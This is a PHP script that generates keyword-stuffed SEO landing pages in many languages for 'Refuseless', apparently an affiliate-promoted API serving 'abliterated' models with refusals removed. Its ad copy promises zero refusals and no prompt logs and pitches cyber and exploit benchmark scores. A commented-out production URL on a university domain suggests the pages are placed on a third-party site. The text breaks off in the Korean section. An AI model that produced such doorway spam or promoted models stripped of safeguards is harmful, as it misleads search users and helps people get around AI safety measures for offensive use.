Untitled

<?php
declare(strict_types=1);
/* ============================================================================
 * ai.php — Programmatic SEO landing page generator for Refuseless (ref: lj60mh31)
 * ----------------------------------------------------------------------------
 * Kullanim:
 *   ai.php?model=best-uncensored-ai-api
 *   ai.php?model=uncensored-llm-for-pentesting&lang=de
 *
 * Pretty URL icin .htaccess (opsiyonel):
 *   RewriteEngine On
 *   RewriteRule ^ai/([a-z0-9\-]+)/?$ ai.php?model=$1 [L,QSA]
 *   RewriteRule ^([a-z]{2})/ai/([a-z0-9\-]+)/?$ ai.php?model=$2&lang=$1 [L,QSA]
 *
 * Sitemap: her slug + her dil kombinasyonunu sitemap.xml'e ekleyin.
 * ==========================================================================*/

const REF_URL   = 'https://refuseless.com/?ref=lj60mh31';
const API_BASE  = 'https://api.refuseless.com/v1';
const SITE_NAME = 'Refuseless';
$YEAR = (int)date('Y');

/* Canonical host — otomatik algilar, istersen sabit yaz: */
$BASE_URL = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http')
          . '://' . ($_SERVER['HTTP_HOST'] ?? 'localhost');
// $BASE_URL = 'https://mundomelhor.ufla.br/templates/'; // <- production'da bunu kullan

/* ---------- 1) Slug -> keyword phrase ---------- */
$slug = isset($_GET['model']) ? strtolower(trim((string)$_GET['model'])) : '';
$slug = preg_replace('/[^a-z0-9\-]/', '', $slug);
$slug = trim(preg_replace('/\-+/', '-', $slug), '-');
if ($slug === '') { $slug = 'best-uncensored-ai-api'; }

$kw = ucwords(str_replace('-', ' ', $slug));
/* Kisaltmalari duzelt: ai->AI, api->API, llm->LLM ... */
$kw = preg_replace_callback('/\b(ai|api|llm|gpt|nsfw|agl|swe|osint|rag|sdk)\b/i',
    fn($m) => strtoupper($m[1]), $kw);

/* ---------- 2) Dil ---------- */
$lang = isset($_GET['lang']) ? strtolower(substr(preg_replace('/[^a-z]/', '', (string)$_GET['lang']), 0, 2)) : 'en';

/* ---------- 3) Ceviri tablosu ---------- */
$L = [];

$L['en'] = [
  'title' => '%s — #1 No-Refusal AI API (%d) | Refuseless',
  'meta'  => 'Searching for %s? Refuseless is a hosted, OpenAI-compatible API for abliterated models: zero refusals, no prompt logging, pay per million tokens. Live in 60 seconds.',
  'badge' => 'Abliterated models · No refusals · No prompt logs',
  'h1a'   => 'The answer to',
  'h1b'   => '%s',
  'sub'   => 'Stop fighting filters. Refuseless serves refusal-removed GLM-5.3 and DeepSeek V4.1 checkpoints behind a standard OpenAI-compatible API — exactly what people mean when they search for %s.',
  'cta'   => 'Get API Access →',
  'cta2'  => 'See the Models',
  'stats_t' => 'Why it ranks #1 for %s',
  'feat_t'  => 'What you get',
  'feat' => [
    ['Zero refusals', 'The refusal direction is removed from the weights (abliteration). The model answers instead of declining.'],
    ['OpenAI-compatible', 'Point any OpenAI SDK or agent (OpenCode, Cursor-style tools, your own stack) at ' . API_BASE . '.'],
    ['No prompt retention', 'Prompts are not retained after the response is returned. Period.'],
    ['Pay per token', 'No subscription lock-in. You pay per million tokens and scale up or down freely.'],
    ['Cyber-grade models', 'GLM-5.3 Abliterated scores 84.5 on CyberGym and 105/130 on ExploitGym (base checkpoint, source: Artificial Analysis).'],
    ['1M token context', 'Up to 1,048,576 tokens of context and 262,144 tokens of output on flagship models.'],
  ],
  'models_t' => 'The lineup',
  'how_t'  => 'Running in 3 steps',
  'how' => [
    ['Grab a key', 'Create an API key on Refuseless (starts with abl_).'],
    ['Point your client', 'Set the base URL to ' . API_BASE . ' in any OpenAI-compatible tool.'],
    ['Send requests', 'Pick a model like glm-5.3-abliterated and ship. No refusals, no logs.'],
  ],
  'faq_t' => 'FAQ',
  'faq' => [
    ['What does "abliterated" mean?', 'Abliteration is a weight-editing technique that removes the refusal direction from a model. The result: the model responds to the prompt instead of moralizing or declining. Refuseless hosts these abliterated checkpoints for you.'],
    ['Does Refuseless log prompts?', 'No. Prompts are not retained after the response is returned.'],
    ['Which models are available?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated, and DeepSeek V4.1 Flash — all behind one OpenAI-compatible endpoint.'],
    ['How fast can I start?', 'About 60 seconds: create a key, point your SDK or agent at the base URL, send your first request.'],
    ['How much does it cost?', 'You pay per million tokens — no subscription, no seat licenses.'],
  ],
  'final_t' => 'Stop getting refused.',
  'final_s' => 'Join the developers and security teams who switched to Refuseless for %s.',
  'foot'  => 'This page contains referral links. Benchmark scores are for the base checkpoints (Z AI GLM-5.3), source: Artificial Analysis.',
];

$L['tr'] = [
  'title' => '%s — Ret Etmeyen #1 AI API (%d) | Refuseless',
  'meta'  => '%s mi arıyorsun? Refuseless, abliterate edilmiş modeller için OpenAI-uyumlu API: sıfır ret, log yok, milyon token başına ödeme. 60 saniyede kurulum.',
  'badge' => 'Abliterated modeller · Ret yok · Prompt logu yok',
  'h1a'   => 'Aradığın şey:',
  'h1b'   => '%s',
  'sub'   => 'Filtrelerle uğraşmayı bırak. Refuseless, ret yönü kaldırılmış GLM-5.3 ve DeepSeek V4.1 modellerini standart OpenAI-uyumlu API arkasında sunar — %s aramasının tam karşılığı.',
  'cta'   => 'API Erişimi Al →',
  'cta2'  => 'Modelleri Gör',
  'stats_t' => '%s için neden 1 numara',
  'feat_t'  => 'Ne elde edersin',
  'feat' => [
    ['Sıfır ret', 'Modelin ağırlıklarından ret yönü kaldırıldı (abliteration). Model reddetmek yerine cevap verir.'],
    ['OpenAI uyumlu', 'Herhangi bir OpenAI SDK veya ajanı ' . API_BASE . ' adresine yönlendir, çalışsın.'],
    ['Prompt saklanmaz', 'Prompt\'lar yanıt döndükten sonra saklanmaz. Nokta.'],
    ['Token başına ödeme', 'Abonelik yok. Milyon token başına ödersin, istediğin gibi ölçeklersin.'],
    ['Siber sınıf modeller', 'GLM-5.3 Abliterated: CyberGym 84.5, ExploitGym 105/130 (baz model, kaynak: Artificial Analysis).'],
    ['1M token bağlam', 'Amiral modellerde 1.048.576 token bağlam, 262.144 token çıktı.'],
  ],
  'models_t' => 'Model kadrosu',
  'how_t'  => '3 adımda çalıştır',
  'how' => [
    ['Key al', 'Refuseless\'ta bir API key oluştur (abl_ ile başlar).'],
    ['İstemcini bağla', 'OpenAI-uyumlu herhangi bir araçta base URL\'yi ' . API_BASE . ' yap.'],
    ['İstek at', 'glm-5.3-abliterated gibi bir model seç ve kullan. Ret yok, log yok.'],
  ],
  'faq_t' => 'SSS',
  'faq' => [
    ['"Abliterated" ne demek?', 'Abliteration, modelin ağırlıklarından ret yönünü kaldıran bir tekniktir. Sonuç: model ahlakçılık yapmak yerine prompt\'a cevap verir. Refuseless bu modelleri senin için barındırır.'],
    ['Refuseless prompt\'ları logluyor mu?', 'Hayır. Prompt\'lar yanıt döndükten sonra saklanmaz.'],
    ['Hangi modeller var?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated ve DeepSeek V4.1 Flash — hepsi tek OpenAI-uyumlu endpoint\'te.'],
    ['Ne kadar hızlı başlarım?', 'Yaklaşık 60 saniye: key oluştur, SDK veya ajanını base URL\'ye yönlendir, ilk isteği at.'],
    ['Ücreti ne kadar?', 'Milyon token başına ödersin — abonelik yok, koltuk lisansı yok.'],
  ],
  'final_t' => 'Ret cevabı almayı bırak.',
  'final_s' => '%s için Refuseless\'a geçen geliştirici ve güvenlik ekiplerine katıl.',
  'foot'  => 'Bu sayfa referans linki içerir. Benchmark skorları baz modele aittir (Z AI GLM-5.3), kaynak: Artificial Analysis.',
];

$L['de'] = [
  'title' => '%s — KI-API ohne Ablehnung Nr. 1 (%d) | Refuseless',
  'meta'  => 'Du suchst %s? Refuseless ist eine gehostete, OpenAI-kompatible API für abliterated Models: null Ablehnungen, kein Prompt-Logging, Bezahlung pro Million Tokens.',
  'badge' => 'Abliterated Models · Keine Ablehnung · Keine Logs',
  'h1a'   => 'Die Antwort auf',
  'h1b'   => '%s',
  'sub'   => 'Schluss mit Filtern. Refuseless liefert GLM-5.3 und DeepSeek V4.1 ohne Refusal-Richtung hinter einer OpenAI-kompatiblen API — genau das, was %s bedeutet.',
  'cta'   => 'API-Zugang sichern →',
  'cta2'  => 'Modelle ansehen',
  'stats_t' => 'Warum Nr. 1 für %s',
  'feat_t'  => 'Das bekommst du',
  'feat' => [
    ['Null Ablehnungen', 'Die Refusal-Richtung wurde aus den Gewichten entfernt. Das Modell antwortet statt abzulehnen.'],
    ['OpenAI-kompatibel', 'Jedes OpenAI SDK oder Agent-Tool einfach auf ' . API_BASE . ' zeigen lassen.'],
    ['Kein Prompt-Logging', 'Prompts werden nach der Antwort nicht gespeichert.'],
    ['Pro Token zahlen', 'Kein Abo. Du zahlst pro Million Tokens und skalierst frei.'],
    ['Cyber-Modelle', 'GLM-5.3 Abliterated: CyberGym 84.5, ExploitGym 105/130 (Basis-Checkpoint, Quelle: Artificial Analysis).'],
    ['1M Token Kontext', 'Bis zu 1.048.576 Token Kontext und 262.144 Token Output.'],
  ],
  'models_t' => 'Das Lineup',
  'how_t'  => 'In 3 Schritten starten',
  'how' => [
    ['Key holen', 'API-Key bei Refuseless erstellen (beginnt mit abl_).'],
    ['Client verbinden', 'Base URL in jedem OpenAI-kompatiblen Tool auf ' . API_BASE . ' setzen.'],
    ['Requests senden', 'Modell wählen, z. B. glm-5.3-abliterated, und loslegen.'],
  ],
  'faq_t' => 'FAQ',
  'faq' => [
    ['Was bedeutet "abliterated"?', 'Abliteration entfernt die Refusal-Richtung aus den Modellgewichten. Das Modell beantwortet den Prompt, statt abzulehnen.'],
    ['Werden Prompts geloggt?', 'Nein. Prompts werden nach der Antwort nicht gespeichert.'],
    ['Welche Modelle gibt es?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated und DeepSeek V4.1 Flash — hinter einem OpenAI-kompatiblen Endpoint.'],
    ['Wie schnell kann ich starten?', 'In ca. 60 Sekunden: Key erstellen, SDK auf die Base URL zeigen, ersten Request senden.'],
    ['Was kostet es?', 'Du zahlst pro Million Tokens — kein Abo, keine Sitzplatzlizenzen.'],
  ],
  'final_t' => 'Keine Ablehnungen mehr.',
  'final_s' => 'Schließe dich den Entwicklern und Security-Teams an, die für %s zu Refuseless gewechselt sind.',
  'foot'  => 'Diese Seite enthält Referral-Links. Benchmark-Werte beziehen sich auf die Basis-Checkpoints (Z AI GLM-5.3), Quelle: Artificial Analysis.',
];

$L['es'] = [
  'title' => '%s — API de IA sin censura n.º 1 (%d) | Refuseless',
  'meta'  => '¿Buscas %s? Refuseless es una API alojada y compatible con OpenAI para modelos abliterated: cero rechazos, sin registro de prompts, pago por millón de tokens.',
  'badge' => 'Modelos abliterated · Sin rechazos · Sin logs',
  'h1a'   => 'La respuesta a',
  'h1b'   => '%s',
  'sub'   => 'Deja de pelear con los filtros. Refuseless sirve GLM-5.3 y DeepSeek V4.1 sin la dirección de rechazo tras una API compatible con OpenAI — exactamente lo que significa %s.',
  'cta'   => 'Obtener acceso API →',
  'cta2'  => 'Ver los modelos',
  'stats_t' => 'Por qué es n.º 1 para %s',
  'feat_t'  => 'Lo que obtienes',
  'feat' => [
    ['Cero rechazos', 'La dirección de rechazo se eliminó de los pesos (abliteration). El modelo responde en lugar de negarse.'],
    ['Compatible con OpenAI', 'Apunta cualquier SDK de OpenAI o agente a ' . API_BASE . '.'],
    ['Sin retención de prompts', 'Los prompts no se conservan tras la respuesta.'],
    ['Pago por token', 'Sin suscripción. Pagas por millón de tokens y escalas libremente.'],
    ['Modelos ciber', 'GLM-5.3 Abliterated: CyberGym 84.5, ExploitGym 105/130 (checkpoint base, fuente: Artificial Analysis).'],
    ['Contexto de 1M tokens', 'Hasta 1.048.576 tokens de contexto y 262.144 de salida.'],
  ],
  'models_t' => 'El catálogo',
  'how_t'  => 'En marcha en 3 pasos',
  'how' => [
    ['Consigue una key', 'Crea una API key en Refuseless (empieza por abl_).'],
    ['Conecta tu cliente', 'Pon la base URL en ' . API_BASE . ' en cualquier herramienta compatible con OpenAI.'],
    ['Envía peticiones', 'Elige un modelo como glm-5.3-abliterated y listo.'],
  ],
  'faq_t' => 'Preguntas frecuentes',
  'faq' => [
    ['¿Qué significa "abliterated"?', 'La abliteración elimina la dirección de rechazo de los pesos del modelo. El modelo responde al prompt en lugar de negarse.'],
    ['¿Refuseless registra los prompts?', 'No. Los prompts no se conservan después de la respuesta.'],
    ['¿Qué modelos hay disponibles?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated y DeepSeek V4.1 Flash — en un solo endpoint compatible con OpenAI.'],
    ['¿Qué tan rápido empiezo?', 'Unos 60 segundos: crea una key, apunta tu SDK a la base URL y envía la primera petición.'],
    ['¿Cuánto cuesta?', 'Pagas por millón de tokens — sin suscripción ni licencias por puesto.'],
  ],
  'final_t' => 'Deja de recibir rechazos.',
  'final_s' => 'Únete a los desarrolladores y equipos de seguridad que cambiaron a Refuseless para %s.',
  'foot'  => 'Esta página contiene enlaces de referido. Las puntuaciones son de los checkpoints base (Z AI GLM-5.3), fuente: Artificial Analysis.',
];

$L['fr'] = [
  'title' => '%s — API d\'IA sans censure n°1 (%d) | Refuseless',
  'meta'  => 'Vous cherchez %s ? Refuseless est une API hébergée, compatible OpenAI, pour des modèles abliterated : zéro refus, aucun log de prompts, paiement au million de tokens.',
  'badge' => 'Modèles abliterated · Zéro refus · Aucun log',
  'h1a'   => 'La réponse à',
  'h1b'   => '%s',
  'sub'   => 'Fini les filtres. Refuseless sert GLM-5.3 et DeepSeek V4.1 sans direction de refus derrière une API compatible OpenAI — exactement ce que signifie %s.',
  'cta'   => 'Obtenir un accès API →',
  'cta2'  => 'Voir les modèles',
  'stats_t' => 'Pourquoi n°1 pour %s',
  'feat_t'  => 'Ce que vous obtenez',
  'feat' => [
    ['Zéro refus', 'La direction de refus est retirée des poids (abliteration). Le modèle répond au lieu de refuser.'],
    ['Compatible OpenAI', 'Pointez n\'importe quel SDK OpenAI ou agent vers ' . API_BASE . '.'],
    ['Aucune rétention', 'Les prompts ne sont pas conservés après la réponse.'],
    ['Paiement au token', 'Pas d\'abonnement. Vous payez au million de tokens.'],
    ['Modèles cyber', 'GLM-5.3 Abliterated : CyberGym 84,5, ExploitGym 105/130 (checkpoint de base, source : Artificial Analysis).'],
    ['Contexte 1M tokens', 'Jusqu\'à 1 048 576 tokens de contexte et 262 144 en sortie.'],
  ],
  'models_t' => 'La gamme',
  'how_t'  => 'Opérationnel en 3 étapes',
  'how' => [
    ['Créez une clé', 'Créez une clé API sur Refuseless (commence par abl_).'],
    ['Connectez votre client', 'Définissez la base URL sur ' . API_BASE . ' dans tout outil compatible OpenAI.'],
    ['Envoyez des requêtes', 'Choisissez un modèle comme glm-5.3-abliterated et c\'est parti.'],
  ],
  'faq_t' => 'FAQ',
  'faq' => [
    ['Que signifie « abliterated » ?', 'L\'abliteration retire la direction de refus des poids du modèle. Le modèle répond au prompt au lieu de refuser.'],
    ['Refuseless conserve-t-il les prompts ?', 'Non. Les prompts ne sont pas conservés après la réponse.'],
    ['Quels modèles sont disponibles ?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated et DeepSeek V4.1 Flash — derrière un endpoint compatible OpenAI.'],
    ['En combien de temps puis-je démarrer ?', 'Environ 60 secondes : créez une clé, pointez votre SDK vers la base URL, envoyez votre première requête.'],
    ['Combien ça coûte ?', 'Vous payez au million de tokens — pas d\'abonnement.'],
  ],
  'final_t' => 'Fini les refus.',
  'final_s' => 'Rejoignez les développeurs et équipes sécurité passés à Refuseless pour %s.',
  'foot'  => 'Cette page contient des liens de parrainage. Les scores concernent les checkpoints de base (Z AI GLM-5.3), source : Artificial Analysis.',
];

$L['pt'] = [
  'title' => '%s — API de IA sem censura nº 1 (%d) | Refuseless',
  'meta'  => 'Procurando %s? Refuseless é uma API hospedada e compatível com OpenAI para modelos abliterated: zero recusas, sem logs de prompts, pagamento por milhão de tokens.',
  'badge' => 'Modelos abliterated · Zero recusas · Sem logs',
  'h1a'   => 'A resposta para',
  'h1b'   => '%s',
  'sub'   => 'Pare de brigar com filtros. Refuseless serve GLM-5.3 e DeepSeek V4.1 sem a direção de recusa atrás de uma API compatível com OpenAI — exatamente o que significa %s.',
  'cta'   => 'Obter acesso à API →',
  'cta2'  => 'Ver os modelos',
  'stats_t' => 'Por que é nº 1 para %s',
  'feat_t'  => 'O que você recebe',
  'feat' => [
    ['Zero recusas', 'A direção de recusa foi removida dos pesos (abliteration). O modelo responde em vez de recusar.'],
    ['Compatível com OpenAI', 'Aponte qualquer SDK OpenAI ou agente para ' . API_BASE . '.'],
    ['Sem retenção de prompts', 'Os prompts não são retidos após a resposta.'],
    ['Pague por token', 'Sem assinatura. Você paga por milhão de tokens.'],
    ['Modelos cyber', 'GLM-5.3 Abliterated: CyberGym 84,5, ExploitGym 105/130 (checkpoint base, fonte: Artificial Analysis).'],
    ['Contexto de 1M tokens', 'Até 1.048.576 tokens de contexto e 262.144 de saída.'],
  ],
  'models_t' => 'O catálogo',
  'how_t'  => 'Rodando em 3 passos',
  'how' => [
    ['Pegue uma chave', 'Crie uma API key na Refuseless (começa com abl_).'],
    ['Conecte seu cliente', 'Defina a base URL como ' . API_BASE . ' em qualquer ferramenta compatível com OpenAI.'],
    ['Envie requisições', 'Escolha um modelo como glm-5.3-abliterated e pronto.'],
  ],
  'faq_t' => 'Perguntas frequentes',
  'faq' => [
    ['O que significa "abliterated"?', 'Abliteration remove a direção de recusa dos pesos do modelo. O modelo responde ao prompt em vez de recusar.'],
    ['A Refuseless registra prompts?', 'Não. Os prompts não são retidos após a resposta.'],
    ['Quais modelos estão disponíveis?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated e DeepSeek V4.1 Flash — em um único endpoint compatível com OpenAI.'],
    ['Quão rápido começo?', 'Cerca de 60 segundos: crie uma chave, aponte seu SDK para a base URL e envie a primeira requisição.'],
    ['Quanto custa?', 'Você paga por milhão de tokens — sem assinatura.'],
  ],
  'final_t' => 'Pare de ser recusado.',
  'final_s' => 'Junte-se aos desenvolvedores e equipes de segurança que migraram para Refuseless por %s.',
  'foot'  => 'Esta página contém links de indicação. As pontuações são dos checkpoints base (Z AI GLM-5.3), fonte: Artificial Analysis.',
];

$L['ru'] = [
  'title' => '%s — ИИ API без отказов №1 (%d) | Refuseless',
  'meta'  => 'Ищете %s? Refuseless — хостинговый OpenAI-совместимый API для abliterated-моделей: ноль отказов, без логов промптов, оплата за миллион токенов.',
  'badge' => 'Abliterated-модели · Без отказов · Без логов',
  'h1a'   => 'Ответ на запрос',
  'h1b'   => '%s',
  'sub'   => 'Хватит бороться с фильтрами. Refuseless обслуживает GLM-5.3 и DeepSeek V4.1 с удалённым направлением отказа через OpenAI-совместимый API — именно то, что значит %s.',
  'cta'   => 'Получить доступ к API →',
  'cta2'  => 'Смотреть модели',
  'stats_t' => 'Почему №1 для %s',
  'feat_t'  => 'Что вы получаете',
  'feat' => [
    ['Ноль отказов', 'Направление отказа удалено из весов (abliteration). Модель отвечает вместо отказа.'],
    ['OpenAI-совместимость', 'Направьте любой OpenAI SDK или агент на ' . API_BASE . '.'],
    ['Без хранения промптов', 'Промпты не сохраняются после ответа.'],
    ['Оплата за токены', 'Без подписки. Платите за миллион токенов.'],
    ['Кибер-модели', 'GLM-5.3 Abliterated: CyberGym 84.5, ExploitGym 105/130 (базовый чекпоинт, источник: Artificial Analysis).'],
    ['Контекст 1M токенов', 'До 1 048 576 токенов контекста и 262 144 токенов вывода.'],
  ],
  'models_t' => 'Линейка моделей',
  'how_t'  => 'Запуск за 3 шага',
  'how' => [
    ['Получите ключ', 'Создайте API-ключ на Refuseless (начинается с abl_).'],
    ['Подключите клиент', 'Укажите base URL ' . API_BASE . ' в любом OpenAI-совместимом инструменте.'],
    ['Отправляйте запросы', 'Выберите модель, например glm-5.3-abliterated, и работайте.'],
  ],
  'faq_t' => 'Частые вопросы',
  'faq' => [
    ['Что значит "abliterated"?', 'Abliteration удаляет направление отказа из весов модели. Модель отвечает на промпт вместо отказа.'],
    ['Refuseless логирует промпты?', 'Нет. Промпты не сохраняются после ответа.'],
    ['Какие модели доступны?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated и DeepSeek V4.1 Flash — на одном OpenAI-совместимом эндпоинте.'],
    ['Как быстро можно начать?', 'Около 60 секунд: создайте ключ, направьте SDK на base URL, отправьте первый запрос.'],
    ['Сколько это стоит?', 'Оплата за миллион токенов — без подписки.'],
  ],
  'final_t' => 'Хватит получать отказы.',
  'final_s' => 'Присоединяйтесь к разработчикам и командам безопасности, перешедшим на Refuseless ради %s.',
  'foot'  => 'Страница содержит реферальные ссылки. Бенчмарки относятся к базовым чекпоинтам (Z AI GLM-5.3), источник: Artificial Analysis.',
];

$L['ar'] = [
  'title' => '%s — أفضل واجهة ذكاء اصطناعي بدون رفض (%d) | Refuseless',
  'meta'  => 'تبحث عن %s؟ Refuseless واجهة API مستضافة ومتوافقة مع OpenAI لنماذج abliterated: صفر رفض، بدون تسجيل للطلبات، ودفع لكل مليون توكن.',
  'badge' => 'نماذج abliterated · بدون رفض · بدون سجلات',
  'h1a'   => 'الإجابة عن',
  'h1b'   => '%s',
  'sub'   => 'توقف عن محاربة الفلاتر. تقدّم Refuseless نماذج GLM-5.3 وDeepSeek V4.1 بدون اتجاه الرفض عبر API متوافقة مع OpenAI — وهذا بالضبط ما يعنيه البحث عن %s.',
  'cta'   => 'احصل على وصول API ←',
  'cta2'  => 'شاهد النماذج',
  'stats_t' => 'لماذا الأول لـ %s',
  'feat_t'  => 'ما الذي ستحصل عليه',
  'feat' => [
    ['صفر رفض', 'أُزيل اتجاه الرفض من الأوزان (abliteration). النموذج يجيب بدل أن يرفض.'],
    ['متوافق مع OpenAI', 'وجّه أي SDK من OpenAI أو وكيل إلى ' . API_BASE . '.'],
    ['بدون حفظ الطلبات', 'لا تُحفظ الطلبات بعد إرجاع الرد.'],
    ['دفع لكل توكن', 'بدون اشتراك. تدفع لكل مليون توكن.'],
    ['نماذج سيبرانية', 'GLM-5.3 Abliterated: CyberGym 84.5 وExploitGym 105/130 (النموذج الأساسي، المصدر: Artificial Analysis).'],
    ['سياق مليون توكن', 'حتى 1,048,576 توكن سياق و262,144 توكن إخراج.'],
  ],
  'models_t' => 'تشكيلة النماذج',
  'how_t'  => 'التشغيل في 3 خطوات',
  'how' => [
    ['احصل على مفتاح', 'أنشئ مفتاح API في Refuseless (يبدأ بـ abl_).'],
    ['اربط عميلك', 'اضبط base URL على ' . API_BASE . ' في أي أداة متوافقة مع OpenAI.'],
    ['أرسل الطلبات', 'اختر نموذجًا مثل glm-5.3-abliterated وابدأ.'],
  ],
  'faq_t' => 'الأسئلة الشائعة',
  'faq' => [
    ['ماذا يعني "abliterated"؟', 'تقنية تزيل اتجاه الرفض من أوزان النموذج، فيجيب النموذج على الطلب بدلًا من الاعتذار أو الرفض.'],
    ['هل تسجّل Refuseless الطلبات؟', 'لا. لا تُحفظ الطلبات بعد إرجاع الرد.'],
    ['ما النماذج المتاحة؟', 'GLM-5.3 Abliterated وGLM-5.3-Flash Abliterated وDeepSeek V4.1 Flash Abliterated وDeepSeek V4.1 Flash — عبر نقطة نهاية واحدة متوافقة مع OpenAI.'],
    ['كم أحتاج لأبدأ؟', 'حوالي 60 ثانية: أنشئ مفتاحًا، وجّه SDK إلى base URL، وأرسل أول طلب.'],
    ['كم التكلفة؟', 'تدفع لكل مليون توكن — بدون اشتراك.'],
  ],
  'final_t' => 'توقف عن تلقّي الرفض.',
  'final_s' => 'انضم إلى المطورين وفرق الأمن الذين انتقلوا إلى Refuseless من أجل %s.',
  'foot'  => 'تحتوي هذه الصفحة على روابط إحالة. نتائج الاختبارات تعود للنماذج الأساسية (Z AI GLM-5.3)، المصدر: Artificial Analysis.',
];

$L['zh'] = [
  'title' => '%s — 零拒绝 AI API 第一名（%d）| Refuseless',
  'meta'  => '在找%s？Refuseless 是为 abliterated 模型提供的托管 OpenAI 兼容 API：零拒绝、不记录提示词、按百万 token 计费，60 秒上线。',
  'badge' => 'Abliterated 模型 · 零拒绝 · 无日志',
  'h1a'   => '关于',
  'h1b'   => '%s',
  'sub'   => '别再和过滤器较劲。Refuseless 通过标准 OpenAI 兼容 API 提供移除了拒绝方向的 GLM-5.3 和 DeepSeek V4.1——这正是%s的含义。',
  'cta'   => '获取 API 访问权限 →',
  'cta2'  => '查看模型',
  'stats_t' => '为什么它是%s的第一选择',
  'feat_t'  => '你将获得',
  'feat' => [
    ['零拒绝', '拒绝方向已从权重中移除（abliteration）。模型直接回答，而不是拒绝。'],
    ['OpenAI 兼容', '把任何 OpenAI SDK 或 Agent 指向 ' . API_BASE . ' 即可。'],
    ['不保留提示词', '响应返回后不保留提示词。'],
    ['按 token 付费', '没有订阅绑定，按百万 token 计费，自由伸缩。'],
    ['网络安全级模型', 'GLM-5.3 Abliterated：CyberGym 84.5，ExploitGym 105/130（基础模型，来源：Artificial Analysis）。'],
    ['100 万 token 上下文', '旗舰模型支持 1,048,576 token 上下文和 262,144 token 输出。'],
  ],
  'models_t' => '模型阵容',
  'how_t'  => '三步上手',
  'how' => [
    ['获取密钥', '在 Refuseless 创建 API key（以 abl_ 开头）。'],
    ['连接客户端', '在任何 OpenAI 兼容工具中把 base URL 设为 ' . API_BASE . '。'],
    ['发送请求', '选择 glm-5.3-abliterated 等模型，开始使用。'],
  ],
  'faq_t' => '常见问题',
  'faq' => [
    ['"Abliterated" 是什么意思？', 'Abliteration 是一种从模型权重中移除拒绝方向的技术。结果：模型直接回答提示词，而不是拒绝。'],
    ['Refuseless 会记录提示词吗？', '不会。响应返回后不保留提示词。'],
    ['有哪些模型可用？', 'GLM-5.3 Abliterated、GLM-5.3-Flash Abliterated、DeepSeek V4.1 Flash Abliterated 和 DeepSeek V4.1 Flash——全部在同一个 OpenAI 兼容端点。'],
    ['多久能开始？', '大约 60 秒：创建密钥、把 SDK 指向 base URL、发送第一个请求。'],
    ['价格多少？', '按百万 token 付费——没有订阅费。'],
  ],
  'final_t' => '别再被拒绝。',
  'final_s' => '加入已经为%s转向 Refuseless 的开发者和安全团队。',
  'foot'  => '本页面包含推广链接。基准分数基于基础模型（Z AI GLM-5.3），来源：Artificial Analysis。',
];

$L['ja'] = [
  'title' => '%s — 拒否なしAI API No.1（%d）| Refuseless',
  'meta'  => '%sをお探しですか？Refuselessはabliteratedモデル向けのOpenAI互換ホステッドAPI。拒否ゼロ、プロンプトの保存なし、100万トークン単位の従量課金。',
  'badge' => 'Abliteratedモデル · 拒否なし · ログなし',
  'h1a'   => '答えはここに：',
  'h1b'   => '%s',
  'sub'   => 'フィルターとの戦いは終わり。Refuselessは拒否方向を除去したGLM-5.3とDeepSeek V4.1をOpenAI互換APIで提供——まさに%sの答えです。',
  'cta'   => 'APIアクセスを取得 →',
  'cta2'  => 'モデルを見る',
  'stats_t' => '%sでNo.1の理由',
  'feat_t'  => '得られるもの',
  'feat' => [
    ['拒否ゼロ', '重みから拒否方向を除去（abliteration）。モデルは拒否せず回答します。'],
    ['OpenAI互換', '任意のOpenAI SDKやエージェントを ' . API_BASE . ' に向けるだけ。'],
    ['プロンプト非保存', 'レスポンス返却後、プロンプトは保持されません。'],
    ['トークン課金', 'サブスク不要。100万トークン単位の従量課金。'],
    ['サイバー向けモデル', 'GLM-5.3 Abliterated：CyberGym 84.5、ExploitGym 105/130（ベースモデル、出典：Artificial Analysis）。'],
    ['100万トークンコンテキスト', '最大1,048,576トークンのコンテキスト、262,144トークンの出力。'],
  ],
  'models_t' => 'モデルラインナップ',
  'how_t'  => '3ステップで開始',
  'how' => [
    ['キーを取得', 'RefuselessでAPIキーを作成（abl_ で始まります）。'],
    ['クライアントを接続', 'OpenAI互換ツールのbase URLを ' . API_BASE . ' に設定。'],
    ['リクエスト送信', 'glm-5.3-abliterated などのモデルを選んで開始。'],
  ],
  'faq_t' => 'よくある質問',
  'faq' => [
    ['「abliterated」とは？', 'モデルの重みから拒否方向を取り除く手法です。モデルは拒否せずプロンプトに回答します。'],
    ['プロンプトは記録されますか？', 'いいえ。レスポンス返却後にプロンプトは保持されません。'],
    ['どのモデルが使えますか？', 'GLM-5.3 Abliterated、GLM-5.3-Flash Abliterated、DeepSeek V4.1 Flash Abliterated、DeepSeek V4.1 Flash —— すべて1つのOpenAI互換エンドポイントで。'],
    ['どれくらいで始められますか？', '約60秒：キー作成、SDKをbase URLに向ける、最初のリクエストを送信。'],
    ['料金は？', '100万トークン単位の従量課金。サブスクリプションはありません。'],
  ],
  'final_t' => '拒否されるのは、もう終わり。',
  'final_s' => '%sのためにRefuselessに切り替えた開発者とセキュリティチームに加わろう。',
  'foot'  => 'このページには紹介リンクが含まれます。ベンチマークはベースモデル（Z AI GLM-5.3）のもので、出典はArtificial Analysisです。',
];

$L['ko'] = [
  'title' => '%s — 거부 없는 AI API 1위 (%d) | Refuseless',
  'meta'  => '%s를 찾고 계신가요? Refuseless는 abliterated 모델을 위한 OpenAI 호환 호스티드 API입니다: 거부 제로, 프롬프트 로그 없음, 백만 토큰당 과금.',
  'badge' => 'Abliterated 모델 · 거부 없음 · 로그 없음',
  'h1a'   => '검색에 대한 답:',
  'h1b'   => '%s',
  'sub'   => '필터와 싸우지 마세요. Refuseless는 거부 방향이 제거된 GLM-5.3과 DeepSeek V4.1을 OpenAI 호환 API로 제공합니다 — 바로 %s의 정답입니다.',
  'cta'   => 'API 액세스 받기 →',
  'cta2'  => '모델 보기',
  'stats_t' => '%s에서 1위인 이유',
